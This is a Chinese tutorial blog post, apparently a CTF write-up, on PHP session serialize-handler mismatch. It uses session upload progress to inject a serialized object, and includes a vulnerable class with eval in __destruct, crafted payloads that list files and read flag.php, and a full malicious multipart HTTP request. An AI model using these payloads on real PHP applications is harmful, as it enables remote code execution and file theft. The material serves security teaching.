PHP反序列化与SESSION

  1. php存储session的三种模式

php_serialize(php=>5.5.4)

经过serialize()函数序列化数组

php

键名+竖线+经过seralize()序列处理的值

php_biary

键名的长度对应ASCII字符+键名+serialize()序列化的值

测试代码

<?php      

//ini_set("session.serialize_handler", "php");

//ini_set("session.serialize_handler", "php_serialize");

ini_set("session.serialize_handler", "php_binary"); 

session_start();

$_SESSION['moonsec'] = $_GET['moonsec'];

序列化存储格式

php

moonsec|s:3:"123";

php_serialize

a:1:{s:7:"moonsec";s:3:"123";}

php_binary

<0x07>moonsecs:3:"123";

2.CTF题目                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class CTF
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new CTF();
}
else
{
    highlight_string(file_get_contents('index.php'));
}

?>

条件         

  1. session.serialize_handler  php 局部变量 php_serialize 主变量
  2. session.upload_progress.cleanup 默认开启 现关闭
  3. session.upload_progress.enabled 默认开启

php bug

PHP :: Doc Bug #71101 :: serialize_handler must not be switched for existing sessions

session.upload_progress.enabled  On

session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.inisession.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。由此来设置session

序列化

<?php
class CTF
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'print_r(scandir(dirname(__FILE__)));';
    }
    function __destruct()
    {
        eval($this->mdzz);
    }
}

$m = new CTF();
echo serialize($m);
?>
O:3:"CTF":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

上传表单  

<html>       
<head>       
    <title>upload</title>   
</head>     
<body>      
<form action="http://www.test1.com/ctf/demo3/index.php" method="POST" enctype="multipart/form-data">    
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />   
    <input type="file" name="file" />    
    <input type="submit" />     
</form>  
</body>  
</html>  

|O:3:\"CTF\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}             

 读flag

O:3:"CTF":1:{s:4:"mdzz";s:83:"print_r(file_get_contents("D:/phpstudy_pro/WWW/www.test1.com/ctf/demo3/flag.php"));";
|O:3:\"CTF\":1:{s:4:\"mdzz\";s:83:\"print_r(file_get_contents(\"D:/phpstudy_pro/WWW/www.test1.com/ctf/demo3/flag.php\"));\";

 

POST /ctf/demo3/index.php HTTP/1.1

Host: www.test1.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------11171372103466141198728743662

Content-Length: 39314

Origin: http://www.test1.com

Connection: close

Referer: http://www.test1.com/ctf/demo3/upload.html

Cookie: PHPSESSID=p13eoiiiq3rp69k85an1d2idbu

Upgrade-Insecure-Requests: 1

-----------------------------11171372103466141198728743662

Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

1

-----------------------------11171372103466141198728743662

Content-Disposition: form-data; name="file"; filename="|O:3:\"CTF\":1:{s:4:\"mdzz\";s:83:\"print_r(file_get_contents(\"D:/phpstudy_pro/WWW/www.test1.com/ctf/demo3/flag.php\"));\";}

Content-Type: image/png

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jack-yyj

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值